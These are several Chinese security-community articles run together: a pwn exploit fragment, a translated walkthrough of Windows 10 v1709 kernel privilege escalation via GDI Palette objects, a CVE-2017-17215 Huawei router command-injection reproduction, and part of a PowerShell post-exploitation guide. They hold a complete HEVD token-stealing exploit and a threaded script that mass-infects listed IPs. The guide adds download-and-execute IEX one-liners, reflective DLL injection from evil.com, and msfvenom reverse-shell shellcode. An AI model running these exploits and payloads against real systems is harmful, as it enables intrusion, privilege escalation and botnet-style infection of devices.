raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
# debug()
payload = p64(3)+p64(0x10000000000000000-4)+p64(0x3ec680)
payload += p64(1)+p64(0)+p64(3812747-93)
payload += p64(2)+p64(0x10000000000000000-4)+p64(0x619000+3944-88)#targte
payload += p64(5)+p64(0x10000000000000000-4)+p64(0x10000000000000000-11)
payload += p64(7)+p64(0x10000000000000000-4)+p64(8)
payload += p64(9)+p64(0x10000000000000000-4)+p64(0)
payload += p64(0xff)
sl(payload)
ri()
'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
> 感觉还有一种解法，就是劫持ret地址，但是没找到合适的栈指针。
## Referer
<https://www.anquanke.com/post/id/199832#h2-8> | 社区文章 |
# Windows10 v1709特权提升：GDI Palette滥用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 前言
最近对Windows10内核提权比较感兴趣，继续研究一下v1709版本，先回顾我们前几篇文章：
[Windows特权提升：GDI Bitmap滥用](https://www.anquanke.com/post/id/156519)
[Windows10
v1607内核提权技术的发展——利用AcceleratorTable](https://www.anquanke.com/post/id/168356)
[Windows10 v1703基于桌面堆泄露的内核提权技术 ](https://www.anquanke.com/post/id/168441)
以往我们都会采用Bitmap objects来构造RW primitive，但从v1709开始，微软将Bitmap header与Bitmap
data部分分离，无法通过Bitmap header取得pvscan0指针的内核地址，Bitmap Abuse的方法失效
现在，我们来关注另一种GDI结构Palette objects，研究如何用于Windows10 1709 Kernel Privilege
Escalation
## 0x002 PALETTE RW Primitive
有了前几篇文章的基础，我们直接进入正题
通过文档，可以了解到PALETTE的结构
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28,
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}
PALETTE偏移0x90处是PALETTEENTRY，一个4个bytes的数组，偏移0x80处的pFirstColor是一个指向该数组的指针，就是利用该指针来构造RW
primitive，相当于Bitmap里的pvScan0指针
class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
]
调用以下API创建一个PALETTE
HPALETTE CreatePalette(
_In_ const LOGPALETTE *lplgpl
);
LOGPALETTE是这样的一个结构
class LOGPALETTE(Structure):
_fields_ = [
("palVersion", WORD),
("palNumEntries", WORD),
("palPalEntry", POINTER(PALETTEENTRY))
]
这样创建一个PALETTE，注意一下palNumEntries的计算
logPalette = LOGPALETTE()
logPalette.palNumEntries = 0x3DC; # size: 0x1000; (SIZE - 0x90) / 4; 0x90 = size of _PALETTE64 struct
logPalette.palVersion = 0x300
gdi32.CreatePalette.restype = HPALETTE
gdi32.CreatePalette.argtypes = [POINTER(LOGPALETTE)]
hManager = gdi32.CreatePalette(byref(logPalette))
还记得吗？GetBitmapBits、SetBitmapBits用来操纵Pixel区的数据，被我们恶意利用后可以读写内核数据。关于PALETTE的操作也有类似的API：
UINT GetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStartIndex,
_In_ UINT nEntries,
_Out_ LPPALETTEENTRY lppe
);
UINT SetPaletteEntries(
_In_ HPALETTE hpal,
_In_ UINT iStart,
_In_ UINT cEntries,
_In_ const PALETTEENTRY *lppe
);
具体的攻击过程类似Bitmap Abuse，可以用以下图片来总结：
Palette A、Palette B分别是Manager object、Work object，通过Palette
A修改Palette的pFirstColor指针，最后调用GetPaletteEntries、SetPaletteEntries实现对内核数据的任意读写
## 0x003 How to Exploit it?
关于利用过程大体上跟以往的几篇文章类似，这里不再赘述，简单说一下过程：
首先取得`HMValidateHandle`的调用地址，计算得到`lpszMenuName`的地址，该指针指向`“PALETTE结构”(预测)`，以下过程跟v1703上利用一致
pIsMenu --> pHMValidateHandle --> pWnd = HMValidateHandle(hWnd,1)，返回tagWND对象指针，用户桌面堆地址
--> pSelf=pWnd+0x20，得到内核桌面堆地址、kernelTagCLS=pWnd+0xa8，得到内核TagCLS地址
--> ulClientDelta=pSelf-pWnd，这是桌面堆用户模式映射与内核映射的偏移
--> userTagCLS=kernelTagCLS-ulClientDelta，取得用户TagCLS地址，lpszMenuName位于0x90偏移处(该处指向paged pool)
后续利用过程：
1.依次分配hManager、hWorker两个Palette object，并利用UAF的方法预测得到各自pFirstColor指针的内核地址；
2.将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址，利用HEVD模块的任意写漏洞；
3.查询获得当前进程与system进程的token；
4.调用API SetPaletteEntries、GetPaletteEntries，将system进程的token写入当前进程；
重要的几个偏移记得修改一下
枚举获得HMValidateHandle调用地址
重用`lpszMenuName`释放的内存，预测得到hManager、hWorker的`pFirstColor`指针内核地址
完整的EXP
import ctypes, struct, sys, os, win32con, time
from ctypes import *
from ctypes.wintypes import *
from win32com.shell import shell
ntdll = windll.ntdll
kernel32 = windll.kernel32
gdi32 = windll.gdi32
user32 = windll.user32
def debug_print(message):
""" Prints message in terminal and debugger """
print message
kernel32.OutputDebugStringA(message + "n")
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
def get_base_address(input_modules):
""" Returns base address of kernel modules """
modules = {}
# Allocate arbitrary buffer and call NtQuerySystemInformation
system_information = create_string_buffer(0)
systeminformationlength = c_ulong(0)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Call NtQuerySystemInformation second time with right size
system_information = create_string_buffer(systeminformationlength.value)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Read first 4 bytes which contains number of modules retrieved
module_count = c_ulong(0)
module_count_string = create_string_buffer(system_information.raw[:8])
ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))
# Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
system_information = create_string_buffer(system_information.raw[8:])
for x in range(module_count.value):
smi = SYSTEM_MODULE_INFORMATION()
temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
module_name = smi.FullPathName.split('\')[-1]
modules[module_name] = smi
debug_print("rn[>] NtQuerySystemInformation():")
# Get base addresses and return them in a list
base_addresses = []
for input_module in input_modules:
try:
base_address = modules[input_module].ImageBase
debug_print ("t[+] %s base address: 0x%X" % (input_module, base_address))
base_addresses.append(base_address)
except:
base_addresses.append(0)
return base_addresses
def get_PsISP_kernel_address():
""" Returns kernel base address of PsInitialSystemProcess """
# Get kernel image base
kernelImage = "ntoskrnl.exe"
base_addresses = get_base_address(kernelImage.split())
kernel_image_base = base_addresses[0]
debug_print("[+] Nt Base Address: 0x%X" % kernel_image_base)
# Load kernel image in userland and get PsInitialSystemProcess offset
kernel32.LoadLibraryA.restype = HMODULE
hKernelImage = kernel32.LoadLibraryA(kernelImage)
debug_print("[+] Loading %s in Userland" % kernelImage)
debug_print("[+] %s Userland Base Address : 0x%X" % (kernelImage, hKernelImage))
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
PsISP_user_address = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
debug_print("[+] PsInitialSystemProcess Userland Base Address: 0x%X" % PsISP_user_address)
# Calculate PsInitialSystemProcess offset in kernel land
PsISP_kernel_address_ptr = kernel_image_base + ( PsISP_user_address - hKernelImage)
debug_print("[+] PsInitialSystemProcess Kernel Base Address: 0x%X" % PsISP_kernel_address_ptr)
PsISP_kernel_address = c_ulonglong()
read_virtual(PsISP_kernel_address_ptr, byref(PsISP_kernel_address), sizeof(PsISP_kernel_address));
return PsISP_kernel_address.value
pHMValidateHandle = None
def findHMValidateHandle():
""" Searches for HMValidateHandle() function """
global pHMValidateHandle
kernel32.LoadLibraryA.restype = HMODULE
hUser32 = kernel32.LoadLibraryA("user32.dll")
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR]
pIsMenu = kernel32.GetProcAddress(hUser32, "IsMenu")
debug_print("[>] Locating HMValidateHandle()")
debug_print("t[+] user32.IsMenu: 0x%X" % pIsMenu)
pHMValidateHandle_offset = 0
offset = 0
while (offset < 0x100):
tempByte = cast(pIsMenu + offset, POINTER(c_byte))
# if byte == 0xE8
if tempByte.contents.value == -24:
pHMValidateHandle_offset = pIsMenu + offset + 1
break
offset = offset + 1
debug_print("t[+] Pointer to HMValidateHandle offset: 0x%X" % pHMValidateHandle_offset)
HMValidateHandle_offset = (cast(pHMValidateHandle_offset, POINTER(c_long))).contents.value
#debug_print("t[+] HMValidateHandle offset: 0x%X" % HMValidateHandle_offset)
# Add 0xb because relative offset of call starts from next instruction after call, which is 0xb bytes from start of user32.IsMenu
pHMValidateHandle = pIsMenu + HMValidateHandle_offset + 0xb
debug_print("t[+] HMValidateHandle pointer: 0x%X" % pHMValidateHandle)
WNDPROCTYPE = WINFUNCTYPE(c_int, HWND, c_uint, WPARAM, LPARAM)
class WNDCLASSEX(Structure):
_fields_ = [("cbSize", c_uint),
("style", c_uint),
("lpfnWndProc", WNDPROCTYPE),
("cbClsExtra", c_int),
("cbWndExtra", c_int),
("hInstance", HANDLE),
("hIcon", HANDLE),
("hCursor", HANDLE),
("hBrush", HANDLE),
("lpszMenuName", LPCWSTR),
("lpszClassName", LPCWSTR),
("hIconSm", HANDLE)]
def PyWndProcedure(hWnd, Msg, wParam, lParam):
""" Callback Function for CreateWindow() """
# if Msg == WM_DESTROY
if Msg == 2:
user32.PostQuitMessage(0)
else:
return user32.DefWindowProcW(hWnd, Msg, wParam, lParam)
return 0
classNumber = 0
def allocate_free_window():
""" Allocate and Free a single Window """
global classNumber, pHMValidateHandle
# Create prototype for HMValidateHandle()
HMValidateHandleProto = WINFUNCTYPE (c_ulonglong, HWND, c_int)
HMValidateHandle = HMValidateHandleProto(pHMValidateHandle)
WndProc = WNDPROCTYPE(PyWndProcedure)
hInst = kernel32.GetModuleHandleA(0)
# instantiate WNDCLASSEX
wndClass = WNDCLASSEX()
wndClass.cbSize = sizeof(WNDCLASSEX)
wndClass.lpfnWndProc = WndProc
wndClass.cbWndExtra = 0
wndClass.hInstance = hInst
wndClass.lpszMenuName = 'A' * 0x7F0 # Size: 0x1000
wndClass.lpszClassName = "Class_" + str(classNumber)
# Register Class and Create Window
hCls = user32.RegisterClassExW(byref(wndClass))
hWnd = user32.CreateWindowExA(0,"Class_" + str(classNumber),'Franco',0xcf0000,0,0,300,300,0,0,hInst,0)
# Run HMValidateHandle on Window handle to get a copy of it in userland
pWnd = HMValidateHandle(hWnd,1)
#debug_print ("t[+] pWnd: 0x%X" % pWnd)
# Read pSelf from copied Window
kernelpSelf = (cast(pWnd+0x20, POINTER(c_ulonglong))).contents.value
#debug_print ("t[+] kernelpSelf: 0x%X" % kernelpSelf)
# Calculate ulClientDelta (tagWND.pSelf - HMValidateHandle())
# pSelf = ptr to object in Kernel Desktop Heap; pWnd = ptr to object in User Desktop Heap
ulClientDelta = kernelpSelf - pWnd
# Read tagCLS from copied Window
kernelTagCLS = (cast(pWnd+0xa8, POINTER(c_ulonglong))).contents.value
#debug_print ("t[+] kernelTagCLS: 0x%X" % kernelTagCLS)
# Calculate user-land tagCLS location: tagCLS - ulClientDelta
userTagCLS = kernelTagCLS - ulClientDelta
#debug_print ("t[+] userTagCLS: 0x%X" % userTagCLS)
# Calculate kernel-land tagCLS.lpszMenuName
tagCLS_lpszMenuName = (cast (userTagCLS+0x98, POINTER(c_ulonglong))).contents.value
#debug_print ("t[+] tagCLS_lpszMenuName: 0x%X" % tagCLS_lpszMenuName)
# Destroy Window
user32.DestroyWindow(hWnd)
# Unregister Class
user32.UnregisterClassW(c_wchar_p("Class_" + str(classNumber)), hInst)
return tagCLS_lpszMenuName
def alloc_free_windows():
""" Calls alloc_free_window() until current address matches previous one """
global classNumber
previous_entry = 0
while (1):
plpszMenuName = allocate_free_window()
if previous_entry == plpszMenuName:
return plpszMenuName
previous_entry = plpszMenuName
classNumber = classNumber + 1
hManager = HPALETTE()
hWorker = HPALETTE()
class PALETTEENTRY(Structure):
_fields_ = [("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)]
class LOGPALETTE(Structure):
_fields_ = [("palVersion", WORD),
("palNumEntries", WORD),
("palPalEntry", POINTER(PALETTEENTRY))]
def setup_manager_palette():
""" Creates Manager Palette """
global hManager
logPalette = LOGPALETTE()
logPalette.palNumEntries = 0x3DC; # size: 0x1000; (SIZE - 0x90) / 4; 0x90 = size of _PALETTE64 struct
logPalette.palVersion = 0x300
gdi32.CreatePalette.restype = HPALETTE
gdi32.CreatePalette.argtypes = [POINTER(LOGPALETTE)]
hManager = gdi32.CreatePalette(byref(logPalette))
debug_print ("t[+] Manager Palette handle: 0x%X" % hManager)
def setup_worker_palette():
""" Creates Worker Palette """
global hWorker
logPalette = LOGPALETTE()
logPalette.palNumEntries = 0x3DC; # size: 0x1000; (SIZE - 0x90) / 4; 0x90 = size of _PALETTE64 struct
logPalette.palVersion = 0x300
gdi32.CreatePalette.restype = HPALETTE
gdi32.CreatePalette.argtypes = [POINTER(LOGPALETTE)]
hWorker = gdi32.CreatePalette(byref(logPalette))
debug_print ("t[+] Worker Palette handle: 0x%X" % hWorker)
def set_address(address):
""" Sets pFirstColor value of Worker Bitmap """
global hManager
address = c_ulonglong(address)
gdi32.SetPaletteEntries.argtypes = [HPALETTE, c_ulong, c_ulong, LPVOID]
gdi32.SetPaletteEntries(hManager, 0, sizeof(address) / 4, addressof(address));
def write_virtual(dest, src, len):
""" Writes value pointed at by Worker Palette """
global hWorker
set_address(dest)
gdi32.SetPaletteEntries.argtypes = [HPALETTE, c_ulong, c_ulong, LPVOID]
gdi32.SetPaletteEntries(hWorker, 0, len / 4, src) # reads 4 bytes at a time
def read_virtual(src, dest, len):
""" Reads value pointed at by Worker Palette """
global hWorker
set_address(src)
gdi32.GetPaletteEntries.argtypes = [HPALETTE, c_ulong, c_ulong, LPVOID]
gdi32.GetPaletteEntries(hWorker, 0, len / 4, dest) # reads 4 bytes at a time
unique_process_id_offset = 0x2e0
active_process_links_offset = 0x2e8
token_offset = 0x358
# Get EPROCESS of current process
def get_current_eprocess(pEPROCESS):
""" Returns ptr to Current EPROCESS structure """
flink = c_ulonglong()
read_virtual(pEPROCESS + active_process_links_offset, byref(flink), sizeof(flink));
current_pEPROCESS = 0
while (1):
unique_process_id = c_ulonglong(0)
# Adjust EPROCESS pointer for next entry
pEPROCESS = flink.value - unique_process_id_offset - 0x8
# Get PID
read_virtual(pEPROCESS + unique_process_id_offset, byref(unique_process_id), sizeof(unique_process_id));
# Check if we're in the current process
if (os.getpid() == unique_process_id.value):
current_pEPROCESS = pEPROCESS
break
read_virtual(pEPROCESS + active_process_links_offset, byref(flink), sizeof(flink));
# If next same as last, we've reached the end
if (pEPROCESS == flink.value - unique_process_id_offset - 0x8):
break
return current_pEPROCESS
def trigger_arbitrary_overwrite():
""" Main Logic """
driver_handle = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None)
if not driver_handle or driver_handle == -1:
print "[!] Driver handle not found : Error " + str(ctypes.GetLastError())
sys.exit()
global hManager, hWorker
# Calculate pointer to HMValidateHandle
findHMValidateHandle()
#Massaging heap for Manager Palette
debug_print ("[>] Setting up Manager Palette:")
debug_print ("t[+] Allocating and Freeing Windows")
dup_address = alloc_free_windows()
setup_manager_palette()
hManager_pFirstColor_offset = dup_address + 0x78
debug_print ("t[+] Manager palette pFirstColor offset: 0x%X" % hManager_pFirstColor_offset)
#Massaging heap for Worker Palette
debug_print ("[>] Setting up Worker Palette:")
debug_print ("t[+] Allocating and Freeing Windows")
dup_address = alloc_free_windows()
setup_worker_palette()
hWorker_pFirstColor_offset = dup_address + 0x78
debug_print ("t[+] Worker palette pFirstColor offset: 0x%X" % hWorker_pFirstColor_offset)
# Using WWW to overwrite Manager pFirstColor value with address of Worker pFirstColor
write_where = hManager_pFirstColor_offset
write_what_ptr = c_void_p(hWorker_pFirstColor_offset)
evil_input = struct.pack("<Q", addressof(write_what_ptr)) + struct.pack("<Q", write_where)
evil_input_ptr = id(evil_input) + 32
evil_size = len(evil_input)
debug_print ("n[+] Triggering W-W-W to overwrite Manager pFirstColor value with Worker pFirstColor")
dwReturn = c_ulong()
kernel32.DeviceIoControl(driver_handle, 0x22200B, evil_input_ptr, evil_size, None, 0,byref(dwReturn), None)
# Get SYSTEM EPROCESS
system_EPROCESS = get_PsISP_kernel_address()
debug_print ("n[+] SYSTEM EPROCESS: 0x%X" % system_EPROCESS)
# Get current EPROCESS
current_EPROCESS = get_current_eprocess(system_EPROCESS)
debug_print ("[+] current EPROCESS: 0x%X" % current_EPROCESS)
system_token = c_ulonglong()
debug_print ("rn[+] Reading System TOKEN")
read_virtual(system_EPROCESS + token_offset, byref(system_token), sizeof(system_token));
debug_print ("[+] Writing System TOKEN")
write_virtual(current_EPROCESS + token_offset, byref(system_token), sizeof(system_token));
if shell.IsUserAnAdmin():
os.system('cmd.exe')
else:
debug_print("[-] Exploit did not work!")
if __name__ == '__main__':
""" Main Function """
trigger_arbitrary_overwrite()
WIN~ | 社区文章 |
## 前言
在复现这个洞的过程中踩了不少坑，花了很长时间才把环境跑起来，感觉真是不容易。一方面分析一下漏洞产生的原因，一方面记录一下出现问题的解决方法。
## 漏洞原理
upnp 程序的 37215 端口存在任意命令注入，参考：
<https://www.cnblogs.com/hac425/p/9416936.html>
将 ./bin/upnp 加载到 Ghidra 中进行伪代码的生成，定位到 0x0040749c 地址处，很明显可以看出来是经典的 sprintf 加
system 的命令注入漏洞。
这里来注入 NewStatusURL 这个地方，使用 ; 闭合前面的命令来执行新的的命令。
## 漏洞环境搭建过程
### 出现的问题
1. 只能使用 qemu-system-mips 运行虚拟机，运行 32 的程序还会报错 非法指令。
参考： <https://blog.csdn.net/qq_33892117/article/details/89314470>
解决方法： **需要使用 5.4 的内核**
下载链接：<https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta>
<https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2>
运行命令:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=br0,script=no,downscript=no
* 首先需要使用 tunctl 添加虚拟网卡。
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.1.2/24
进入虚拟机之后运行命令进行挂载：
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
为 eth0 网卡添加 ip。（和 tap0 在同一个局域网内即可。）
ifconfig eth0 192.168.1.1/24
切换到主目录后运行：
./bin/upnp
./bin/mic
* 在运行 mic 前，需要 ssh 连接上来 mips 虚拟机来运行他，直接运行会改变网卡并且退出不了控制台。。。或者运行 ./bin/mic &
* 运行起来之后，会发现主机到虚拟机的网络不通，原因是出现的 br0 网卡吧 eth0 的 ip 抢占了，需要把 eth0 的ip重新改回来。
具体原因不太清楚。。。
ifconfig br0 192.168.1.3/24
ifconfig eth0 192.168.1.1/24
这样就能成功运行起来 37215 和 80 端口的 HTTP 服务了。
## exp
之后使用 EXP 直接打就行了。
参考：<http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
#!/usr/bin/python
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>"
class exploit(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
print "[SOAP] Attempting to infect " + self.ip
except Exception as e:
pass
for ip in ips:
try:
n = exploit(ip)
n.start()
time.sleep(0.03)
except:
pass
## 参考文章
<http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/>
<https://www.cnblogs.com/hac425/p/9416936.html> | 社区文章 |
# Powershell攻击指南黑客后渗透之道系列——实战篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[香山](https://www.anquanke.com/member/122354)
预估稿费：1200RMB
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](http://bobao.360.cn/news/detail/4370.html)
**）**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 传送门
[Powershell攻击指南黑客后渗透之道系列——基础篇](https://www.anquanke.com/post/id/87976)
[Powershell攻击指南黑客后渗透之道系列——进阶利用](https://www.anquanke.com/post/id/88851)
# Powershell(12)-实例使用场景
> 本篇为Powershell攻击指南——黑客后渗透之道系列最后一篇——实战篇，主要介绍的一些实用的利用方式与利用场景和一些实用工具。
在实际的渗透环境中我们利用Powershell的方式无非两种：
1. 使用编码的方式对Powershell命令进行编码之后运行
2. 远程下载Powershell代码之后直接运行
两种方式各有利弊，第一种比较方便直接编码即可执行，第二种需要到一台拥有公网IP的机器，那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例：
## 通过编码的方式执行
我们做一个最简单的例子:
使用编码的方式执行`whoami`命令，我们首先使用下面的命令来进行编码
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
这串代码执行完之后就会打印出编码结果，之后直接执行即可`powershell.exe -EncodedCommand $encodedCommand`
完整过程如下:
## 搭建小型HTTP服务器
>
> Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的，比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的，动静太大也较难搭建，而使用HTTP则没有这样的困难，也可以搭建在内网使用Powershell脚本的服务器。
>
> 那么很多人会说Python就好了啊，`-m
> SimpleHTTPServer`就好了，但是对于Windows操作系统并没有那么的Python环境供你使用，我们需要的是最少的操作做最多的事情，利用Windows自带的软件或文件是我们的最佳选择，所以Powershell是我们的不二之选
### HTTPListener-API
那么搭建HTTP服务器也是调用了API，使用到了.Net的API—HttpListener，我们只需要像这样调用`New-Object
Net.HttpListener`那么我们就可以得到一个.Net对象，下面我们直接看看代码：
# This script will execute in background
start-job {
$p="c:\temp\"
# $p = Get-Location 可以获取当前用户的目录，如果这样使用后面的$p改为$p.path
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8889/")
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add("Content-Type","text/plain")
$file=Join-Path $p ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
那么代码也不长，直接运行就能在后台运行，Powershell会返回一个任务ID
如果我们需要停止这个HTTP，只需要Stop即可：
那么我们只需要修改我们的目录即可对相应的目录进行访问与下载，非常方便。
### 远程加载执行
直接看看命令: `powershell "IEX (New-Object
Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"`
我们只需要在本地开一个Web服务，那么这就很好开了：通过Python或者其他的方式都可以，自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可，这样就可以下载并执行了。那么还可以和上面编码的方式并用，就能更好的执行了。
### 实例工具
下面推荐一些比较好的工具，类似Powersploit或者nishang有的内容就不提及了，就提几个经常使用的工具。
#### mimikittenz
第一个是[mimikittenz](https://github.com/putterpanda/mimikittenz)这个脚本能够获取到用户级的密码，比如Deopbox，jira，Gmail等等，对于真实的渗透环境来说，需求还是挺大的，下面是这个脚本提供的运行截图。
#### BloodHound
[链接](https://github.com/BloodHoundAD/BloodHound)
中文名猎犬，先说说能干嘛吧：内网信息域内关系与细节整理，这个工具也是作为DEFCON 24的免费开源工具发布，主要使用了图论的一些知识，推荐学习。
#### DeathStar
[链接](https://github.com/byt3bl33d3r/DeathStar)
中文名死星，一看名字就知道是个StarWar迷:)，也能看出他的威力效果，下面是官方一张gif使用效果
这款工具需要配合Empire的API，下面[链接](https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html)是作者的教程，大家可以自行研究。
### 开发工具
工欲善其事，必先利其器。这里提一下Ps的开发工具供大家选择。
#### ISE
那么最基础的是Ps的ISE，这个工具是自带的，通过下面的方式打开
打开的界面如下：
语法高亮，外加一个便于复制和粘贴操作的图形化控制台，可以说是非常的方便。
#### PowerShell Studio & Visual Studio
但如果你是一个需要更专业的开发环境，这款工具肯定能帮到你，官网在[这里](https://www.sapien.com/software/powershell_studio)，简单看看他的一张截图:
可以看到软件是非常专业的，非常的方便编写与管理你的代码。
[Visual
Studio](https://marketplace.visualstudio.com/items?itemName=AdamRDriscoll.PowerShellToolsforVisualStudio2015)同意也能达到这样的效果，那么大家可以自行选择。
# Powershell(13)-Framework
我们对于框架的介绍主要介绍[Powersploit](https://github.com/PowerShellMafia/PowerSploit)与[Nishang](https://github.com/samratashok/nishang)，本来写了[Empire](https://www.powershellempire.com/)的，可是在发布文章之前不久刚发了类似的文章，所以删去部分内容，如果需要学习Empire的朋友，可以去安全客搜索文章，当然还是推荐查看Empire的手册。下面开始介绍两个框架：
注：本篇篇幅可能过长，文字较多，可以在需要的时候直接打开文章搜索即可。
## PowerSploit
### AntivirusBypass
#### Find-AVSignature
寻找反病毒软件特征码，思路类似于二分法
**参考**
> <http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-> with.html>
**示例** 假设我们的远控文件偏移范围为0~10000
Find-AVSignature -StartByte 0 -EndByte 10000 -Interval 5000 -Path test.exe
这条命令将会把test.exe以5000字节作为块大小，分为两个有效部分。第一个部分偏移范围是05000，第二部分偏移为09999。之后我们可以分别使用杀软扫描这两个文件。不妨设第一个文件没有报毒，而第二个文件报毒了，那么我们就知道，特征码应该存在于偏移范围5001~9999字节内。
接下来我们重复同样的步骤：
Find-AVSignature -StartByte 5001 -EndByte 10000 -Interval 2500 -Path test.exe
再将得到的文件进行扫描，如此往复，直到定位出特征码。
### CodeExecution
#### Invoke-DLLInjection
DLL注入脚本 注意dll架构要与目标进程相符，同时要具备相应的权限
**示例**
Invoke-DLLInjection -ProcessID 1612 -dll test.dll
#### Invoke-ReflectivePEInjection
反射型注入，bypass AV的一把利器
个人认为反射型dll注入的精髓之一就在于能做到不在目标磁盘上留下文件，而这个脚本的一大缺陷便是不能远程加载dll/exe，因此要做到无文件就稍显麻烦。
好在已经有人写出了可以从服务器下载文件并注入的[脚本](https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1)。
需要注意的是，ForceASLR选项并不适用于所有dll/exe, 架构上也尽量做到相同。
**下面均以加强版作示例** 。
**示例** **下载dll并注入到id为1320的进程中**
Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 1320
**强制使用ASLR**
Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 1320 -ForceASLR
**从本地加载dll并注入指定进程**
Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320
**向exe传参**
Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320 -ExeArgs "arg1 arg2"
#### Invoke-Shellcode
向目标进程注入shellcode 依然需要注意shellcode架构的问题
**示例** **向powershell进程注入meterpreter**
**生成shellcode**
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f powershell
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
